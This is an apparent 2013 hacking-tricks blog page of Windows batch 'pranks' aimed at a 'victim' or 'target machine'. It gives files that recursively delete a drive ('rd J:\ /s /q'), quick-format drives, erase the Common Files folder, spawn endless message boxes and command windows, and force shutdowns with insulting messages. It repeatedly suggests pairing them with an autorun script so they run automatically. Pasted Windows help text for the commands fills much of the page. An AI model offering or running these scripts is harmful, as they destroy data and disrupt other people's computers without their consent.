Nuffnang Ads

Showing posts with label cmd. Show all posts
Showing posts with label cmd. Show all posts

Wednesday, September 25, 2013

Fast Switch User in Windows

There is a way to change users from the command prompt without logging off Windows.

1) Press Ctrl+Alt+Del to launch Task Manager and look for a process in the list called explorer.exe.
Click the End Process button.
2) Next, click on the file menu and choose New Task (Run…)
3) Enter “cmd” and hit enter to open the Command Prompt window
4) Inside the Command Prompt, use following syntax:
runas /user:username “explorer”
For example to switch to “Administrator” account, use the following command:
runas /user:Administrator “explorer”

Saturday, June 22, 2013

Remove Directory

When executed, this code will actually delete all directories and files in the specific directory. Work similar to delete/erase but instead of a file at a time, rd command is to remove the whole directory, leave you a fresh empty folder.

Copy the following code into notepad:

rd J:\ /s /q

Save as Hackmimic_rd.bat

Remove Directory Help

RMDIR [/S] [/Q] [drive:]path
RD [/S] [/Q] [drive:]path

    /S      Removes all directories and files in the specified directory
            in addition to the directory itself.  Used to remove a directory
            tree.

    /Q      Quiet mode, do not ask if ok to remove a directory tree with /S

*Search this blog for autorun script and automate it.
Feel free to leave comments~

Friday, June 21, 2013

Format Drive

The following code will format all the define drive letter in computer.

Copy the code below into notepad:

format D: /q /x

Save as Hackmimic_format.cmd

Good to go now...

*Replace D for any other drive letter
*You can make multiple line for different disk drive
*Perform a test on USB drive to check result

Format Help

FORMAT volume [/FS:file-system] [/V:label] [/Q] [/A:size] [/C] [/X]
FORMAT volume [/V:label] [/Q] [/F:size]
FORMAT volume [/V:label] [/Q] [/T:tracks /N:sectors]
FORMAT volume [/V:label] [/Q]
FORMAT volume [/Q]

  volume          Specifies the drive letter (followed by a colon),
                  mount point, or volume name.
  /FS:filesystem  Specifies the type of the file system (FAT, FAT32, or NTFS).
  /V:label        Specifies the volume label.
  /Q              Performs a quick format.
  /C              NTFS only: Files created on the new volume will be compressed
                  by default.
  /X              Forces the volume to dismount first if necessary.  All opened
                  handles to the volume would no longer be valid.
  /A:size         Overrides the default allocation unit size. Default settings
                  are strongly recommended for general use.
                  NTFS supports 512, 1024, 2048, 4096, 8192, 16K, 32K, 64K.
                  FAT supports 512, 1024, 2048, 4096, 8192, 16K, 32K, 64K,
                  (128K, 256K for sector size > 512 bytes).
                  FAT32 supports 512, 1024, 2048, 4096, 8192, 16K, 32K, 64K,
                  (128K, 256K for sector size > 512 bytes).

                  Note that the FAT and FAT32 files systems impose the
                  following restrictions on the number of clusters on a volume:

                  FAT: Number of clusters <= 65526
                  FAT32: 65526 < Number of clusters < 4177918

                  Format will immediately stop processing if it decides that
                  the above requirements cannot be met using the specified
                  cluster size.

                  NTFS compression is not supported for allocation unit sizes
                  above 4096.

  /F:size         Specifies the size of the floppy disk to format (1.44)
  /T:tracks       Specifies the number of tracks per disk side.
  /N:sectors      Specifies the number of sectors per track.

*Search this blog for autorun script and automate it.
Feel free to leave comments~

Wednesday, June 19, 2013

Delete Folder

This code will delete anything define when executed.
Copy the following code into notepad without the quote:

"erase C:\Program Files\Common Files"

Save as "Hackmimic.cmd"

When execute, the common files folder inside program files will be permanently deleted.

For Testing

Create a text file in C: drive
Name it as hackmimic.txt
Use "erase C:\hackmimic.txt"

Erase Help

Deletes one or more files.

DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names
ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names

  names         Specifies a list of one or more files or directories.
                Wildcards may be used to delete multiple files. If a
                directory is specified, all files within the directory
                will be deleted.

  /P            Prompts for confirmation before deleting each file.
  /F            Force deleting of read-only files.
  /S            Delete specified files from all subdirectories.
  /Q            Quiet mode, do not ask if ok to delete on global wildcard
  /A            Selects files to delete based on attributes
  attributes    R  Read-only files            S  System files
                H  Hidden files               A  Files ready for archiving
                -  Prefix meaning not

If Command Extensions are enabled DEL and ERASE change as follows:

The display semantics of the /S switch are reversed in that it shows
you only the files that are deleted, not the ones it could not find.

*Search this blog for autorun script and automate it.
Feel free to leave comments~

Monday, June 17, 2013

Infinite Loop

This code will continuously show message to the target machine until the victim manually close it.
Copy the following code into notepad:
@ECHO off
:BEGIN
msg * Gotcha! Say cheese...
GOTO BEGIN


This code will continuously open up command prompt screen infinite times and  irritate victim and affecting performance.
Copy the following code into notepad:
:x
start cmd.exe

GOTO x

save as Hackmimic_msg.bat, then you can open the file.

*You can replace with any message after the echo tag with a space.
*You can put multiple echo as well.
*Search this blog for autorun script and automate it.
Feel free to leave comments~

Tuesday, May 28, 2013

Shutdown PC

Make use of shutdown.exe in windows and prank your friends.
  1. Create a shortcut by right click on the desktop, then point your mouse to new and select shortcut.
  2. Type/Paste the following code in the shortcut. 
    • C:\Windows\System32\shutdown.exe -s -t 60 -c " message "
  3. -s is to shutdown computer | -t is to set time (seconds) | -c is to set message
  4. Simple replace 60 for any seconds you like and remember to put some scary message for your friend.

Notepad Version

Copy the following code into notepad:

@echo off
msg * I don't like you
shutdown -s -t 60 -c "Error! You are too stupid!"

Save as Hackmimic_shutdown.bat

Updates:

Search this blog for autorun script and automate it.

Full options for shutdown command

    No args    Display help. This is the same as typing /?.
    /?         Display help. This is the same as not typing any options.
    /i         Display the graphical user interface (GUI).
               This must be the first option.
    /l         Log off. This cannot be used with /m or /d options.
    /s         Shutdown the computer.
    /r         Full shutdown and restart the computer.
    /g         Full shutdown and restart the computer. After the system is
               rebooted, restart any registered applications.
    /a         Abort a system shutdown.
               This can only be used during the time-out period.
    /p         Turn off the local computer with no time-out or warning.
               Can be used with /d and /f options.
    /h         Hibernate the local computer.
               Can be used with the /f option.
    /hybrid    Performs a shutdown of the computer and prepares it for fast startup.
                   Must be used with /s option.
    /e         Document the reason for an unexpected shutdown of a computer.
    /o         Go to the advanced boot options menu and restart the computer.
               Must be used with /r option.
    /m       \\computer Specify the target computer.
    /t xxx   Set the time-out period before shutdown to xxx seconds.
               The valid range is 0-315360000 (10 years), with a default of 30.
               If the timeout period is greater than 0, the /f parameter is
               implied.
    /c "comment" Comment on the reason for the restart or shutdown.
               Maximum of 512 characters allowed.
    /f         Force running applications to close without forewarning users.
               The /f parameter is implied when a value greater than 0 is
               specified for the /t parameter.
    /d [p|u:]xx:yy  Provide the reason for the restart or shutdown.
               p indicates that the restart or shutdown is planned.
               u indicates that the reason is user defined.
               If neither p nor u is specified the restart or shutdown is
               unplanned.
               xx is the major reason number (positive integer less than 256).
               yy is the minor reason number (positive integer less than 65536)